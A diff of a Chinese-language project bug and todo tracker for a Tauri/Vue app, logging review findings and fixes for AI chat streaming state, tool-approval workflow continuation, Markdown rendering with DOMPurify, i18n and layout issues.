- [x] R-PD-13 ✅(P0批,2026-06-15,待commit) — ~~Lagged 静默丢事件~~ 最小兜底:单行 warn 升级带 execution_id+lagged 字段结构化 warn+注释(broadcast 不暴露被丢事件类型/关键终态事件丢失致 finished 不触发循环不 break 前端永久收不到结束/依赖 DB 轮询兜底)+三后续方向(提升广播容量/持久化队列重发/forward watchdog 超时);重发复杂度超本 todo 范围 — workflow.rs
|
||||||
|
- [x] R-PD-14 ~~df-ideas promotion IdeaPromoter/PromotionPolicy/try_promote 死代码 + do_promote 空壳 TODO~~ ✅ 已修(删 IdeaPromoter/PromotionPolicy/try_promote/do_promote;PromotionResult 保留——promote_idea IPC 返回类型 + idea.rs:99,155 实例化引用,作 IPC 边界类型无法清)
|
||||||
|
|
||||||
|
### 🔴 工作区多角度走查待修项(2026-06-15)
|
||||||
|
|
||||||
|
> 4 路并行代理走查工作区 22 文件 547 行(AiChat/View/stores/composables+ToolCard),详见 [工作区多角度走查-2026-06-15.md](./05-代码审查/工作区多角度走查-2026-06-15.md)。3 P0 功能 bug + 1 P1 i18n + DRY/健壮性一组。
|
||||||
|
|
||||||
|
**P0 — 功能 bug**
|
||||||
|
- [ ] B-260615-31 — **[P0]** selectType 字段名与后端 IPC 不匹配 → 多选审批静默失效。`project.ts:273` 传 selectType(camelCase),后端 `workflow.rs:211` 签名 select_type(snake_case),Tauri 2 默认不转换 → 后端收 None 归一化 Single → 多选提交被拒「单选只能一个决策」。单选偶然兼容掩盖。铁证:同 invoke 的 execution_id/node_id 已 snake_case 唯独此项破坏 + grep selectType src-tauri/ 零命中。修:`selectType:`→`select_type:` + 删错误注释 — stores/project.ts:273 — 详见走查 ①
|
||||||
|
- [ ] B-260615-32 — **[P0]** 流式 timeout/error/stop 收尾不清队列 → 队列消息静默丢失。drainQueue 仅 AiCompleted 触发(useAiEvents:218),onStreamTimeout/AiError/stopChat 三路径不清 state.queue → 生成中输入的消息丢失无提示。approveToolCall catch 同漏。修:三路径 + approve catch 补 `state.queue=[]` + 提示。关联 B-260615-22(状态不同步,不同角度) — useAiSend.ts:36-42 + useAiStream.ts onStreamTimeout + useAiEvents.ts AiError case + useAiSend.ts:82-107 — 详见走查 ②
|
||||||
|
- [ ] B-260615-33 — **[P0]** onStreamTimeout 不回滚 running toolCall → 审批后卡片永久骨架屏。approveToolCall 乐观置 running,后端 hang 时看门狗触发 onStreamTimeout 只复位 streaming 不碰 toolCalls[].status → running 态只渲染骨架(ToolCard:24) 审批按钮不显 → 无重审入口。**B-260615-07 残留**(B-07 加了 watchdog 但回调没回滚 status)。修:onStreamTimeout 扫一遍 running toolCall→rejected — useAiStream.ts:21-49 — 详见走查 ③
|
||||||
|
|
||||||
|
**P1 — i18n**
|
||||||
|
- [ ] CR-260615-08 — **[P1]** i18n 硬编码一组:ProjectDetail:201 多选按钮「确认(N)」🔴 + useAiStream:39-41 onStreamTimeout 两错误文案🟡 + AiChat:675 handleSend toast⚪。英文 locale 中英混杂。修:补 `projectDetail.approvalConfirm/Count` + `ai.streamInterrupted(AfterTool)` + `aiChat.toastSendFail` 中英 key 改 `t()`。confirmClearChat 硬编码接 B-260615-20 已记技术债一并清 — ProjectDetail/useAiStream/AiChat + i18n — 详见走查 ④
|
||||||
|
|
||||||
|
**P1/P2 — DRY + 健壮性**
|
||||||
|
- [ ] CR-260615-09 — **[P1]** 四份 .ai-md 样式逐字重复 ~180 行(ProjectDetail/Ideas/Knowledge/TaskDetail) → 抽全局 `src/styles/ai-md.css` 或 `<AiMarkdown>` 组件。B-24/25 复制粘贴源头 — 详见走查 ⑤
|
||||||
|
- [ ] CR-260615-10 — **[P2]** useMarkdown 加 `useRendered(getText)` 辅助,消除 renderedDesc computed + onMounted(loadMarkdown) 三处重复(与 CR-09 同源) — 详见走查 ⑥
|
||||||
|
- [ ] CR-260615-11 — **[P2]** composables+ToolCard 健壮性一组:⑦switchConversation JSON.parse 无逐条容错(单条坏 args 清空整对话 useAiConversations:81) ⑧args 消费 `as any` 类型逃逸(ToolCard:241,328) ⑨approveToolCall 重复查找应复用 findToolCall(useAiSend:82) ⑩useAiEvents switch 缺 AiHeartbeat case(:118) ⑪approveHumanApproval 签名 decision/decisions 歧义(project.ts:255) ⑫ToolCard formatBytes/命名判定/key 兜底 — 详见走查 ⑦~⑫
|
||||||
|
- [ ] CR-260615-12 — **[P3]** 可选一组:_toastTimer 卸载未清(AiChat:436) + markdown 外层 span→div + SVG 常量散落 + appSettings 注释 + index 空行 + 路由 icon 语义 + options shape 校验 + projectNameById 共享 + useConfirm dev 警告 + i18n `t` as any — 详见走查 ⚪ 区
|
||||||
|
|
||||||
### 🟡 B-03b 复核后续(独立深度复核,2026-06-14)
|
### 🟡 B-03b 复核后续(独立深度复核,2026-06-14)
|
||||||
|
|
||||||
@@ -87,14 +220,14 @@
|
|||||||
- [x] B-03b-R5 — **[评估维持]** `lock().expect()` poison panic — poison=持锁 panic 严重错误,fail-fast 合理,非用户态可恢复
|
- [x] B-03b-R5 — **[评估维持]** `lock().expect()` poison panic — poison=持锁 panic 严重错误,fail-fast 合理,非用户态可恢复
|
||||||
- [x] B-03b-R6 ~~human_node send 缺 await~~ ✅ 已修(human_node.rs:41 加 .await;async fn send 的 Future 不再被 let _ = 丢弃,Request 真进 channel)(commit 0bb96fc)
|
- [x] B-03b-R6 ~~human_node send 缺 await~~ ✅ 已修(human_node.rs:41 加 .await;async fn send 的 Future 不再被 let _ = 丢弃,Request 真进 channel)(commit 0bb96fc)
|
||||||
- [x] B-03b-R7 ~~前端契约失配~~ ✅ 已修(project.ts:214 type→snake_case + :215 取 event 本体扁平字段 + as unknown as 绕过联合类型)(commit 0bb96fc);types.ts event.type 收窄字面量联合(WorkflowEventType 11 变体)已补(commit 3e1f119 Wave5)
|
- [x] B-03b-R7 ~~前端契约失配~~ ✅ 已修(project.ts:214 type→snake_case + :215 取 event 本体扁平字段 + as unknown as 绕过联合类型)(commit 0bb96fc);types.ts event.type 收窄字面量联合(WorkflowEventType 11 变体)已补(commit 3e1f119 Wave5)
|
||||||
- [ ] B-03b-R8 — **[P0 根因]** 缺 human 节点端到端集成测试(前端无 human DAG 入口,demoDag 仅 script),单测绿但不覆盖 human→弹窗→审批→返回链路,是 R6/R7 存活土壤
|
- [x] B-03b-R8 ~~缺 human 节点端到端集成测试~~ ✅ 已补(human_node.rs 加 2 端到端测:`end_to_end_human_approval_completes_workflow` 验 a(SleepNode)→b(HumanNode) 两层 DAG 经 executor 驱动 Request 真发出 + outputs 收集 + 双节点 Completed;`end_to_end_human_approval_cancelled` 验外部 set_cancelled → human cancel_tick 命中 → executor 跳过 set_failed + 状态保持 Cancelled)。覆盖 executor↔HumanNode 集成链路,封死 R6/R7 回归土壤(10 测全过,2026-06-15,待commit)
|
||||||
- [ ] B-03b-R9 — **[P2]** 其余 8 项对抗裁定(③串扰/④单槽/⑤终态不清/⑥set_cancelled覆盖终态/⑦互斥/⑧approve不校验/⑨⑩Lagged/⑪failed_node空)多数潜伏或零危害,详见 [审查报告 §2](./02-架构设计/workflow-approval-review-2026-06-14.md)
|
- [ ] B-03b-R9 — **[P2]** 其余 8 项对抗裁定(③串扰/④单槽/⑤终态不清/⑥set_cancelled覆盖终态/⑦互斥/⑧approve不校验/⑨⑩Lagged/⑪failed_node空)多数潜伏或零危害,详见 [审查报告 §2](./02-架构设计/工作流审批审查报告-2026-06-14.md)
|
||||||
|
|
||||||
### ✅ 已完成 — df-workflow 审批闭环(Workflow D, commit 22964a2)
|
### ✅ 已完成 — df-workflow 审批闭环(Workflow D, commit 22964a2)
|
||||||
|
|
||||||
- [x] B-260614-06 — ~~execution_id 硬编码 "dummy-execution-id"~~ ✅ DagExecutor::new 接收 execution_id 下沉 NodeContext(workflow.rs 传真 ID)(06-14)
|
- [x] B-260614-06 — ~~execution_id 硬编码 "dummy-execution-id"~~ ✅ DagExecutor::new 接收 execution_id 下沉 NodeContext(workflow.rs 传真 ID)(06-14)
|
||||||
- [x] B-260614-07 — ~~每节点全新空 StateMachine~~ ✅ NodeContext.node_status 共享 self.state_machine.clone()(is_cancelled 可工作)(06-14)
|
- [x] B-260614-07 — ~~每节点全新空 StateMachine~~ ✅ NodeContext.node_status 共享 self.state_machine.clone()(is_cancelled 可工作)(06-14)
|
||||||
- [x] B-260614-03a — ~~HumanNode 假返回"同意"~~ ✅ execute 重写 subscribe→send→select!(响应/超时/取消 + execution_id+node_id 双键 + Lagged 容忍),照 [B-03 设计](./02-架构设计/B-03-人工审批响应机制.md);7 单测;eventbus 删死代码 (06-14)
|
- [x] B-260614-03a — ~~HumanNode 假返回"同意"~~ ✅ execute 重写 subscribe→send→select!(响应/超时/取消 + execution_id+node_id 双键 + Lagged 容忍),照 [B-03 设计](./02-架构设计/B-03-人工审批响应机制-2026-06-14.md);7 单测;eventbus 删死代码 (06-14)
|
||||||
- [x] B-260614-03b — ~~HumanNode 取消机制~~ ✅ WF-E 完成:set_cancelled + cancel_workflow_node IPC + 前端取消按钮 + **端到端补完**(StateMachine 内部 Arc<Mutex> 共享 + execution_id 注册表)。**注**:agent 初版留半成品(workflow_cancel_state 全局孤立实例,IPC 写了读不到,Explore 审查漏抓语义缺陷),主代理补完 IPC→共享 HashMap→HumanNode is_cancelled 真通;clone_shares 单测验证共享语义 (06-14, commit 4aa689e)
|
- [x] B-260614-03b — ~~HumanNode 取消机制~~ ✅ WF-E 完成:set_cancelled + cancel_workflow_node IPC + 前端取消按钮 + **端到端补完**(StateMachine 内部 Arc<Mutex> 共享 + execution_id 注册表)。**注**:agent 初版留半成品(workflow_cancel_state 全局孤立实例,IPC 写了读不到,Explore 审查漏抓语义缺陷),主代理补完 IPC→共享 HashMap→HumanNode is_cancelled 真通;clone_shares 单测验证共享语义 (06-14, commit 4aa689e)
|
||||||
|
|
||||||
### P1 — 重要缺陷
|
### P1 — 重要缺陷
|
||||||
@@ -113,6 +246,68 @@
|
|||||||
- [ ] T-260614-06 — **[P2→中等风险]** Settings.vue 拆 panel 子组件 — 当前 1042 行 god file,4 大功能域(AI 模型/Provider 表单/连接管理/通用设置)清晰可拆到 `src/components/settings/`。**评估:非低风险**,纯重构零功能价值,要新建 4 子组件 + props/emits 接线 + CSS 拆分,单独立项做更稳 — source:Sprint 19 待评估 (06-14)
|
- [ ] T-260614-06 — **[P2→中等风险]** Settings.vue 拆 panel 子组件 — 当前 1042 行 god file,4 大功能域(AI 模型/Provider 表单/连接管理/通用设置)清晰可拆到 `src/components/settings/`。**评估:非低风险**,纯重构零功能价值,要新建 4 子组件 + props/emits 接线 + CSS 拆分,单独立项做更稳 — source:Sprint 19 待评估 (06-14)
|
||||||
- [x] T-260614-07 — ~~诊断日志清理~~ ✅ mission:T-260614-06 已清理(useAiEvents/useAiSend 3 处调试 console.log 直接删;AiChat.vue/main.ts 3 处启动计时改 console.debug 保留诊断能力但不污染 console;vue-tsc 0 err,src/ console.log 0 残留)(06-14)
|
- [x] T-260614-07 — ~~诊断日志清理~~ ✅ mission:T-260614-06 已清理(useAiEvents/useAiSend 3 处调试 console.log 直接删;AiChat.vue/main.ts 3 处启动计时改 console.debug 保留诊断能力但不污染 console;vue-tsc 0 err,src/ console.log 0 残留)(06-14)
|
||||||
|
|
||||||
|
### 🔴 generating 状态机加固(2026-06-15 审查)
|
||||||
|
|
||||||
|
> /review 专项审查 generating 生命周期(commands.rs 对话/审批/stop + agentic.rs loop/try_continue + stream_recv.rs stream_llm + mod.rs AiSession)。**用户报障根因**:generating 复位散布 6 处 + spawn 无 panic 兜底 → generating 卡 true → newConversation 硬拦死锁(创建不了新对话,只能重启)。**决策**:轻量状态机(RAII guard 写收敛 + enum 视图读侧收敛),不引入独立状态机框架(stop_flag 须保留 AtomicBool 跨锁)。详见 [generating状态机加固-2026-06-15.md](./02-架构设计/generating状态机加固-2026-06-15.md)。
|
||||||
|
|
||||||
|
**P0 — 用户 bug 根治组合(必须同批:②③强耦合,①是上游根治)**
|
||||||
|
- [x] B-260615-09 ✅(P0批,2026-06-15,待commit) — ~~RAII guard 收尾 generating~~ GeneratingGuard struct(new/reset().await 幂等/Drop spawn 兜底)+run_agentic_loop 入口实例化+5 处手动复位替换(provider-Err/入口 stop/stream_llm None/流式 stop/正常完成尾)+try_continue:318 保留手动(should_continue=false 路径须保 generating=true 待审批);保留复位→emit 顺序;主代理核查 cargo check 0 err/df-nodes 17 test pass — agentic.rs
|
||||||
|
- [x] B-260615-10 ✅(P0批,2026-06-15,待commit) — ~~newConversation 硬拦改软复位~~ ai_conversation_create 加 app:AppHandle 参数(Tauri 自动注入,invoke_handler 无需改)+generating=true 时记 old_conv→generating=false→清 pending_approvals→stop_flag(B-11 双保险)→释放锁→向 old_conv emit 零 token AiCompleted→relock 续建新对话;硬拦 Err 移除 — commands.rs
|
||||||
|
- [x] B-260615-11 ✅(P0批,2026-06-15,待commit) — ~~loop push 前对话一致性校验~~ 两处 conv_id 校验:①循环顶部(入口 stop_flag 块后,AiAgentRound 通知前)active_conversation_id!=conv_id 提前 return+warn ②push 块内(取锁后,has_tool_calls/!full_text 分支前)切换即提前 return+log — agentic.rs
|
||||||
|
|
||||||
|
**P1**
|
||||||
|
- [x] B-260615-12 ✅(P0批,2026-06-15,待commit) — ~~session.state() enum 视图收敛~~ 新增 pub enum SessionState{Idle,Streaming,AwaitingApproval}(mod.rs:105-112)+impl AiSession pub fn session_state()->SessionState(mod.rs:173-181 读视图:pending_approvals 非空→AwaitingApproval/else generating→Streaming/else Idle);字段定义不动,三调用点(agentic.rs:283/commands.rs:250/451)列注释待后续承接替换 — mod.rs
|
||||||
|
- [x] B-260615-13 ✅(wcvigw3z4批,2026-06-15,待commit) — ~~stop 流式态分支兜底~~ ai_chat_stop 流式态分支 stop_flag.store 后 spawn 兜底 task(sleep 3s 后 lock 检查 generating 仍 true 则强制复位+emit AiCompleted 零 token),治 loop 死(panic/异常退出漏发收尾)时 stop 无反应;参考审批分支+B-10 软复位写法,emit 前释放锁(drop+relock) — commands.rs
|
||||||
|
- [ ] B-260615-14 — [P1] ⑦ stop_flag 换 tokio::sync::Notify 即时打断(去 30s 延迟)— stream_recv.rs:148
|
||||||
|
|
||||||
|
**P2**
|
||||||
|
- [x] B-260615-15 ✅(P0收尾批,2026-06-15,待commit) — ~~heartbeat interval 提到 loop 外~~ stream_recv.rs:127-132 heartbeat 创建+首 tick 丢弃移到 loop 前,loop 内复用 tick()节拍不变(从首 chunk 算 30s),计时器状态跨迭代保留无重建抖动 — stream_recv.rs
|
||||||
|
- [x] B-260615-16 ✅(P0收尾批,2026-06-15,待commit) — ~~MAX_AGENT_ITERATIONS 配置化~~ pub(crate) const→pub const + 文档注释标注未来配置接入点;核查 AppState/df-storage 无现成 agent 配置槽位(grep 零命中),未引入 AppState 字段(符合 P2 零行为变边界) — agentic.rs:27-34
|
||||||
|
- [x] B-260615-17 ✅(P0收尾批,2026-06-15,待commit) — ~~key_len 复用~~ resolve_provider_secret 调一次(行105 resolved_key)+key_len 派生(行106)+ensure_resolved_key+build_provider 内联(行107-115);逻辑等价 secret::build_provider_for(resolve→ensure→build 三步),因 build_provider_for 隐藏 resolved key 无法复用+secret.rs 锁边界而内联;⚠️DRY 隐患:agentic.rs 内联与 build_provider_for 重复,注释标注等价,未来改 build_provider 签名需同步两处(可后续小改 build_provider_for 返 key_len 消除) — agentic.rs:98-133
|
||||||
|
- [x] B-260615-18 ✅(P0批,2026-06-15,待commit) — ~~pending_approvals 注释~~ mod.rs:124-135 扩展文档:单 HashMap<tool_call_id,PendingApproval> 按 tool_call_id 路由/conversation_id 业务语义非路由键/当前 O(n) 过滤典型场景可接受/未来多会话高并发可加二级索引 — mod.rs
|
||||||
|
|
||||||
|
### 🔴 消息发送失败无提示 + 状态传染(2026-06-15 用户报障)
|
||||||
|
|
||||||
|
> 用户报障:发送消息后面板显示该消息 + input 残留同条消息 + 无失败提示;叠加首对话失败后**新对话建不了、切历史对话也发不出**。**根因 = generating 卡 true**(见上 B-260615-09~18,未实施)的下游表现:卡死态下 `ai_chat_send`(commands.rs:45) 同步拦截 Err → 前端 catch(useAiSend.ts:75) 回填 input + 不回滚 user message → handleSend(AiChat.vue:666) 仅 console.error 无 toast。新建对话(ai_conversation_create:451)/切历史(switchConversation)同被 generating 拦。**根因不治则反复**,本块 P1/P2 为 UX 放大器与状态同步缺口。
|
||||||
|
|
||||||
|
**P0 — 根治(即上一块 B-09~18,不另立)**
|
||||||
|
- [x] B-260615-19 ✅(P0批,2026-06-15,待commit) — ~~根因指针~~ B-09/10/11 已实施(generating 卡 true 根治)+B-12/18 同批(session_state enum 视图+pending_approvals 注释);B-13~17 留后续(stop 兜底/Notify 即时打断/heartbeat 提外/MAX_AGENT_ITERATIONS 配置化/key_len 复用)
|
||||||
|
|
||||||
|
**P1 — 前端 UX 放大器**
|
||||||
|
- [x] B-260615-20 ✅(P0批,2026-06-15,待commit) — ~~handleSend catch 加提示~~ 复用 Settings.vue reactive toast(AiChat 可分离窗口须自管):模板末尾 Transition+.ai-toast/script 加 toast reactive+showToast(3s 自消失)/handleSend catch 加 showToast('发送失败:'+errMsg)/.ai-panel position:relative/.ai-toast 样式;技术债:文案硬编码未接 i18n(同 confirmClearChat 先例),公共 toast composable 另起任务 — AiChat.vue
|
||||||
|
- [x] B-260615-21 ✅(P0批,2026-06-15,待commit) — ~~sendMessage catch 回滚 user message~~ push user msg 前捕获 const userMsgId(原内联未生成)+catch 块 filter 改 m.id!==aiMsgId && m.id!==userMsgId 一并回滚;机制:user/ai msg 均 nextMsgId() 唯一 id+push 进 state.messages(无索引依赖,按 id 过滤最稳) — useAiSend.ts
|
||||||
|
|
||||||
|
**P2 — 前后端状态同步**
|
||||||
|
- [ ] B-260615-22 — [P2] 前后端状态不同步:前端 state.streaming 与后端 generating 各自维护,后端卡死/异常退出时前端不知情(streaming 可能已被 AiError 复位 false,预检 useAiSend.ts:36 放行撞后端 :45 拦截)。评估:发送前 IPC 查后端真实 generating,或卡死主动 emit 状态同步事件。
|
||||||
|
|
||||||
|
### 🔴 详情描述字段 Markdown 未渲染(2026-06-15 用户报障)
|
||||||
|
|
||||||
|
> 用户报障:任务描述 Markdown 没渲染(显示原始 `## 标题`/`- 列表` 文本)。**走查**:4 详情组件描述字段全用纯文本插值 `{{ }}` 未走 md 渲染——`src/views/TaskDetail.vue:33` / `ProjectDetail.vue` / `Ideas.vue` / `Knowledge.vue`。`src/components/AiChat.vue` 已有正确实现 `renderMd`(marked + DOMPurify + 块级 memo + XSS 防护),但封装在组件内未抽 composable,**DRY 缺口**。**修法**:抽 `src/composables/useMarkdown.ts` 统一入口(复用 AiChat renderMd 逻辑),4 组件展示态切 `v-html="renderMd(desc)"`(编辑态仍 textarea)。**安全约束**:v-html 必须 sanitize,composable 保留 DOMPurify。
|
||||||
|
|
||||||
|
- [x] B-260615-23 ✅(2026-06-15,待commit) — ~~抽 useMarkdown composable~~ 新建 src/composables/useMarkdown.ts(模块级单例:_marked/_purify/mdReady/_mdCache 模块作用域,renderMd 含 DOMPurify.sanitize XSS 防护+块级 memo 缓存+未就绪 escapeFallback 兜底)+AiChat.vue 改 import 引用(流式核心 splitBlocks/parseBlock/parseBlockNoCache/renderStreamingMd 逐字节未动,仅 _marked/_purify→getMarked()/getPurify() 经单例 getter),行为零变化 — useMarkdown.ts + AiChat.vue
|
||||||
|
- [x] B-260615-24 ✅(2026-06-15,待commit) — ~~TaskDetail 描述 v-html=renderMd~~ TaskDetail.vue:33 描述非空 v-html=renderMd(task.description)(空值回退 —)+.ai-md 作用域样式(h1/h2/h3/ul/ol/code/pre/blockquote/table)+onMounted loadMarkdown 预热(单例)。用户报障描述 md 不渲染已修 — TaskDetail.vue
|
||||||
|
- [x] B-260615-25 ✅(2026-06-15,待commit) — ~~同类 3 组件描述 renderMd~~ ProjectDetail/Ideas/Knowledge 描述展示态 v-html=renderMd(desc)(空值回退 —)+import useMarkdown+onMounted loadMarkdown 预热+各加 .ai-md 样式(Ideas .detail-desc.ai-md/Knowledge .detail-content.ai-md 含 white-space:normal 覆盖原 pre-wrap,正确处理 v-html 标签间 \n;ProjectDetail 同). DOMPurify sanitize 安全。vue-tsc 0 err — ProjectDetail/Ideas/Knowledge.vue
|
||||||
|
|
||||||
|
### 🔴 审批执行后中断(2026-06-15 用户报障)
|
||||||
|
|
||||||
|
> 用户报障:AI Chat 审批卡片点批准 → 工具执行 → 对话就结束,没续生成下一轮("不知原因")。**走查根因**:B-260615-09 的 `GeneratingGuard`(agentic.rs:48-75) Drop 兜底复位 generating,但 `run_agentic_loop:292-300` 审批等待 return(pending>0)路径**既没 `guard.reset()` 也没 disarm** → `guard.done=false` → task 结束 guard Drop(agentic.rs:67-75) spawn `generating=false` → **审批态 generating 被误复位**(与 :82/:299 注释"generating 保持 true"设计意图直接矛盾)。之后 `ai_approve`(commands.rs:187) 调 `try_continue_agent_loop`(agentic.rs:370) 读 `is_generating=false` → `should_continue=false` → emit AiCompleted 不续生成。**竞态**:Drop 的 spawn 复位是异步,与用户点批准的时间差,致时续时断(用户感"不知原因")。**属 B-260615-09 实施引入的回归**——guard Drop 兜底未区分"审批等待(应保 generating)"vs"异常退出(应复位)"。
|
||||||
|
|
||||||
|
- [x] B-260615-26 ✅(P0回归修,2026-06-15,待commit) — ~~GeneratingGuard disarm~~ 加 disarm()(行69-71 置 done=true 不 reset generating)+run_agentic_loop 审批等待 return 前(pending_count>0,:308)调 guard.disarm()——保 generating=true 留 try_continue 续,Drop 因 done=true 跳过复位 spawn。修正 B-09 引入回归(审批执行后对话不续生成)。主代理核查:disarm 逻辑正确/cargo check 0 err/df-nodes 21 test pass — agentic.rs
|
||||||
|
- [x] B-260615-27 — ✅ 数据侧实证(2026-06-15):conv 6c2e11f4(U-Ask 概览)消息序列显示 **Low 工具(list_directory/read_file)执行后 loop 正常续生成,Medium/High 审批工具(create_project/create_task/run_command)审批执行后 loop 断**——对话多次断在 tool_result([10][34][42][70] 后均无 assistant 续),用户被迫反复发"继续"([11][35][43][57][65][68])。坐实 B-26 根因:审批路径 loop return 触发 guard Drop 误复位 generating → try_continue 不续;自动执行路径 loop 不退出故正常。
|
||||||
|
|
||||||
|
### 🔴 Task 缺失(2026-06-15 用户报障)
|
||||||
|
|
||||||
|
> 用户报障:任务缺失。**DB 实证**(devflow-dev.db):tasks 表 61 条,**无悬挂引用**(LEFT JOIN projects 验证所有 task.project_id 都在 projects 表),数据完整非丢失。根因在前端:`Tasks.vue:214` onMounted 全量 `loadTasks()` 无参 + 前端 filter(:159-164 activeProject 过滤),**切换项目不重新加载**(仅对已加载全量做前端 filter),新建 task 后其他项目视图不刷新。属 AR-11 数据变更联动同类。另发现:projects 表**重名 meta-kit×2**(f0fa88bf-a4bd / 32de9175-870d),疑重复导入/绑定,可能致用户认知"缺失"。
|
||||||
|
|
||||||
|
- [x] B-260615-29 ✅(2026-06-15,待commit) — ~~Task 列表项目切换联动~~ store.loadTasks(projectId?) 已支持可选参(project.ts:124 无需改 store)+Tasks.vue 加 watch(activeProject):非 all 时 loadTasks(projectId) 按项目重载,all 时 loadTasks() 全量。切项目筛选触发后端重载,新建任务跨项目视图同步刷新。只改 Tasks.vue — src/views/Tasks.vue
|
||||||
|
- [ ] B-260615-30 — [P2] projects 重名核查:meta-kit 两条(f0fa88bf/32de9175)确认是否重复导入/目录绑定,去重或区分
|
||||||
|
|
||||||
|
### 🔴 详情页字段布局紧凑化(2026-06-15 用户需求)
|
||||||
|
|
||||||
|
> 用户需求:任务详情中除「描述」外的字段(标题/状态/优先级/关联项目/分支/负责人/基础分支/工作流定义/时间),名称与值应**同行展示**(当前分行垂直堆叠,占空间)。**走查**:TaskDetail.vue:27-84 全部 `.info-item` 用 `flex-direction: column`(CSS :221-225)分行。ProjectDetail.vue:69-121 同款布局需一并改。Ideas.vue 用卡片式不同布局不改。
|
||||||
|
|
||||||
|
- [x] B-260615-31 ✅(2026-06-15,待commit) — ~~TaskDetail + ProjectDetail 字段同行布局~~ `.info-item` flex-direction column→row + align-items baseline + gap 12px + `.label` min-width 88px flex-shrink:0(TaskDetail `.value` 加 flex:1 min-width:0 占余);描述字段 info-item 加 `info-block` class + CSS `.info-item.info-block{flex-direction:column}` 保块状(长文本独占整行);ProjectDetail `.path-row`/`.info-tags` 已 flex-wrap 无溢出风险。vue-tsc 0 err — src/views/TaskDetail.vue + src/views/ProjectDetail.vue
|
||||||
|
|
||||||
### 待澄清 / A-B 待定
|
### 待澄清 / A-B 待定
|
||||||
|
|
||||||
- [ ] S-260614-01 — 「显示多开」需求待澄清 — 用户报"设置勾选显示多开但 AiChat 未显示",全 src grep 零命中,疑似旧版本/指分离窗口/想新增开关,待用户截图确认 (06-14)
|
- [ ] S-260614-01 — 「显示多开」需求待澄清 — 用户报"设置勾选显示多开但 AiChat 未显示",全 src grep 零命中,疑似旧版本/指分离窗口/想新增开关,待用户截图确认 (06-14)
|
||||||
@@ -127,7 +322,7 @@
|
|||||||
- [x] T-260614-04 — ~~路径校验根治~~ ✅ 已完成(resolve_workspace_path 加 canonicalize 防 symlink 逃逸 + 词法 starts_with 兜底;仅校验、返回词法路径保持前端友好;cargo check 0 err / 22 test pass)(06-14)
|
- [x] T-260614-04 — ~~路径校验根治~~ ✅ 已完成(resolve_workspace_path 加 canonicalize 防 symlink 逃逸 + 词法 starts_with 兜底;仅校验、返回词法路径保持前端友好;cargo check 0 err / 22 test pass)(06-14)
|
||||||
- [ ] F-260614-04 — 多 Provider 负载均衡池 — 备用模型/多账号聚合,全局容量=min(各 provider 上限之和, global_cap) (06-14)
|
- [ ] F-260614-04 — 多 Provider 负载均衡池 — 备用模型/多账号聚合,全局容量=min(各 provider 上限之和, global_cap) (06-14)
|
||||||
- [ ] F-260614-05 — 模型能力系统 Phase 2 — 多模态消息支持:ChatMessage.content: String → Vec<ContentPart>(Text/Image);前端粘贴/拖拽图片;vision 模型自动路由 (06-14)
|
- [ ] F-260614-05 — 模型能力系统 Phase 2 — 多模态消息支持:ChatMessage.content: String → Vec<ContentPart>(Text/Image);前端粘贴/拖拽图片;vision 模型自动路由 (06-14)
|
||||||
- [ ] F-260614-06 — 导入历史项目(scan 第二步) — 复用 scan/relocate/checkBinding,加 monorepo 子目录识别 + README 首段抽 description + 批量 (06-14)
|
- [ ] F-260614-06 — 导入历史项目(scan 第二步) — [📐设计定稿 06-14] description 走 LLM(复用 scan_project_with_ai,非纯规则)+ 采样保留内容图(待 F-260614-05 多模态)+ monorepo 一层 + 批量并发;抽 create_with_binding 缓解 :211 TODO;详见功能决策记录(06-14)
|
||||||
- [x] T-260614-09 — ~~idea.rs 物理删不级联~~ ✅ WF-E 完成(idea.rs:149 delete→purge_with_descendants,1 行,签名兼容)(06-14, commit 89da9fa)
|
- [x] T-260614-09 — ~~idea.rs 物理删不级联~~ ✅ WF-E 完成(idea.rs:149 delete→purge_with_descendants,1 行,签名兼容)(06-14, commit 89da9fa)
|
||||||
- [x] T-260614-10 — ~~findBinding canonicalize~~ ✅ WF-E 判定已解决(normalize_path 已含 canonicalize 优先 + 词法回退,find_binding_conflict 两端对称已用,无需重复加;零改动)(06-14, commit 89da9fa)
|
- [x] T-260614-10 — ~~findBinding canonicalize~~ ✅ WF-E 判定已解决(normalize_path 已含 canonicalize 优先 + 词法回退,find_binding_conflict 两端对称已用,无需重复加;零改动)(06-14, commit 89da9fa)
|
||||||
- [ ] F-260614-07 — **[架构前置]** df-ai-core trait 下沉拆 crate — F-03 注入方式前置(决策记录已收敛:原 F-03 的 A/B/C 选型作废,统一为全局 AI trait 下沉独立 crate,df-ideas/df-nodes 依赖 trait 而非 df-ai 具体 impl)。解锁 F-03 — source:功能决策记录 (06-14)
|
- [ ] F-260614-07 — **[架构前置]** df-ai-core trait 下沉拆 crate — F-03 注入方式前置(决策记录已收敛:原 F-03 的 A/B/C 选型作废,统一为全局 AI trait 下沉独立 crate,df-ideas/df-nodes 依赖 trait 而非 df-ai 具体 impl)。解锁 F-03 — source:功能决策记录 (06-14)
|
||||||
@@ -136,6 +331,10 @@
|
|||||||
- [ ] F-260614-10 — 知识库 MCP Server + Tier 2/3 — 对外 MCP 暴露 + 分层存储(当前仅 Tier 1 全栈) — source:PROGRESS Sprint15
|
- [ ] F-260614-10 — 知识库 MCP Server + Tier 2/3 — 对外 MCP 暴露 + 分层存储(当前仅 Tier 1 全栈) — source:PROGRESS Sprint15
|
||||||
- [ ] T-260614-11 — 全局#6 条件表达式引擎升级 — df-workflow conditions 仅支持 true/false 字面量,升级为真表达式求值 — source:PROGRESS 全局问题
|
- [ ] T-260614-11 — 全局#6 条件表达式引擎升级 — df-workflow conditions 仅支持 true/false 字面量,升级为真表达式求值 — source:PROGRESS 全局问题
|
||||||
- [x] T-260614-12 — ~~df-ideas 死代码~~ ✅ WF-E 部分完成(capture.rs 删 CaptureInput/IdeaCapture 死码,保留 Idea/IdeaScores 共享实体;promotion/scoring/adversarial 内"两套 Recommendation/PromotionPolicy 死枚举"嫌疑 agent 未确认存在/保留为对外契约,本次未动,待复查)(06-14, commit 89da9fa)
|
- [x] T-260614-12 — ~~df-ideas 死代码~~ ✅ WF-E 部分完成(capture.rs 删 CaptureInput/IdeaCapture 死码,保留 Idea/IdeaScores 共享实体;promotion/scoring/adversarial 内"两套 Recommendation/PromotionPolicy 死枚举"嫌疑 agent 未确认存在/保留为对外契约,本次未动,待复查)(06-14, commit 89da9fa)
|
||||||
|
